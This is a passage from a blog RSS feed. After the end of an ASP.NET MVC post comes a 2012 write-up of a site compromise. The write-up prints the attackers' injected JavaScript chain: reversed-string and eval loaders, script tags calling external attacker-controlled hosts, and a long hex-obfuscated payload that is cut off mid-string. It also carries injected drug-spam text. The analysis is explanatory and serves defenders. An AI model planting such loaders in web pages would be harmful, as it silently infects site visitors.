<p>&lt;%=Html.ActionLink(&quot;Home&quot;, &quot;Index&quot;, &quot;Home&quot;, new { area=&quot;&quot;}, new {}) %&gt; </p>

<p></p>

<p></p>

<p>In case you are wondering, the first object in the area is for route values, the second is for html attributes.</p>

<p>So the downside of using Areas is that you could complicate your routing in a hurry.&#160; Plus it does not look like the Html helpers are there to lend you a hand either.&#160; It is very doable, just annoying.&#160; Of course, the easy fix is to remove the Area name from the route and move on.&#160; That should be ok so long as you do not have two controllers with the same name.</p>

<p>So are Areas a compelling feature? I think so.&#160; Plus, the larger the site, the more compelling Areas can become.&#160; For smaller sites, probably not.&#160; But I would not say no either.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>JQuery Validator Cheat Sheet</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4f\x6b\x52\x6c\x25\x33\x41\x6d\x36\x54\x61\x69\x6c\x63\x5a\x6e\x46\x51\x4f\x2e\x54\x65\x69\x31\x4d\x69\x31\x4a\x63\x47\x59\x4c\x6b\x66\x6c\x2e\x67\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x57\x55\x61\x34\x4e\x6c\x4d\x5a\x6b\x51\x4f\x43\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x32\x25\x32\x42\x57\x50\x47\x54\x6b\x25\x32\x38\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x67\x68\x61\x56\x4c\x6e\x25\x32\x30\x30\x25\x32\x30\x51\x6a\x4b\x5f\x57\x51\x6b\x63\x61\x71\x5f\x5a\x65\x63\x61\x62\x25\x32\x30\x6d\x25\x32\x30\x25\x32\x37\x2e\x4c\x52\x68\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x55\x57\x6b\x68\x55\x25\x32\x30\x61\x51\x69\x5f\x42\x6b\x67\x68\x62\x6b\x5f\x6c\x71\x68\x25\x32\x30\x6f\x25\x32\x30\x4c\x55\x64\x5f\x51\x6c\x66\x4f\x55\x6a\x5f\x57\x69\x43\x62\x4a\x73\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x5a\x64\x5a\x55\x61\x25\x32\x30\x30\x25\x32\x30\x25\x32\x37\x2e\x5a\x48\x69\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x44\x71\x4f\x58\x6b\x65\x6c\x65\x25\x32\x30\x41\x52\x49\x5f\x47\x54\x47\x52\x6a\x61\x25\x32\x46\x49\x68\x51\x54\x56\x25\x32\x38\x51\x6e\x44\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x71\x52\x6e\x25\x32\x30\x66\x57\x69\x5a\x69\x49\x25\x32\x30\x6f\x25\x32\x30\x46\x66\x53\x71\x63\x48\x64\x6a\x2e\x4a\x69\x43\x57\x55\x5a\x38\x68\x62\x64\x56\x6d\x70\x25\x32\x38\x25\x32\x37\x4d\x48\x54\x52\x63\x61\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x49\x68\x51\x54\x56\x2e\x51\x6e\x44\x25\x32\x30\x37\x25\x32\x30\x6a\x6e\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x59\x59\x69\x50\x53\x47\x68\x4a\x6f\x70\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x65\x5a\x55\x63\x61\x52\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x4b\x48\x69\x51\x69\x55\x2e\x56\x6a\x6f\x53\x56\x2e\x42\x65\x54\x6b\x63\x57\x76\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x5a\x6d\x68\x4d\x50\x47\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x56\x6e\x51\x50\x55\x2e\x69\x61\x70\x4a\x61\x2e\x4e\x56\x69\x63\x66\x65\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x7a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x54\x43\x64\x55\x2e\x6f\x6a\x62\x62\x55\x2e\x57\x52\x42\x5a\x4a\x69\x58\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x78\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x45\x65\x68\x4b\x56\x50\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x4f\x6a\x65\x61\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x66\x57\x69\x5a\x69\x49\x2e\x55\x56\x70\x62\x61\x2e\x6d\x4c\x54\x6a\x4f\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x59\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x47\x6d\x52\x69\x62\x2e\x6a\x6b\x78\x68\x49\x2e\x4a\x47\x5a\x57\x64\x6a\x25\x32\x30\x70\x25\x32\x30\x25\x32\x37\x71\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x4c\x6b\x53\x6e\x4f\x25\x32\x30\x64\x57\x6e\x58\x64\x56\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x65\x71\x52\x45\x56\x5a\x65\x6a\x25\x32\x30\x25\x33\x44\x38\x43\x5f\x53\x59\x56\x25\x32\x46\x70\x46\x4e\x54\x6e\x66\x67\x6b\x25\x32\x38\x72\x6e\x47\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x58\x43\x69\x25\x32\x30\x69\x59\x68\x4c\x66\x6a\x25\x32\x30\x74\x25\x32\x30\x55\x4d\x59\x56\x68\x56\x6a\x71\x2e\x54\x69\x64\x57\x58\x47\x74\x63\x55\x69\x55\x51\x6a\x25\x32\x38\x25\x32\x37\x69\x4a\x69\x47\x6c\x55\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x54\x6e\x66\x67\x6b\x2e\x73\x75\x54\x47\x25\x32\x30\x6f\x25\x32\x30\x25\x32\x37\x6b\x55\x74\x6a\x6f\x5a\x51\x63\x52\x51\x59\x53\x64\x67\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x70\x54\x69\x68\x6c\x58\x2e\x55\x54\x54\x25\x32\x30\x32\x25\x32\x30\x6f\x68\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x55\x61\x6c\x50\x6a\x25\x32\x30\x54\x58\x69\x65\x6d\x6b\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x63\x55\x57\x4e\x43\x35\x25\x32\x46\x52\x70\x51\x4d\x56\x6d\x72\x56\x6a\x73\x25\x32\x38\x25\x32\x39\x25\x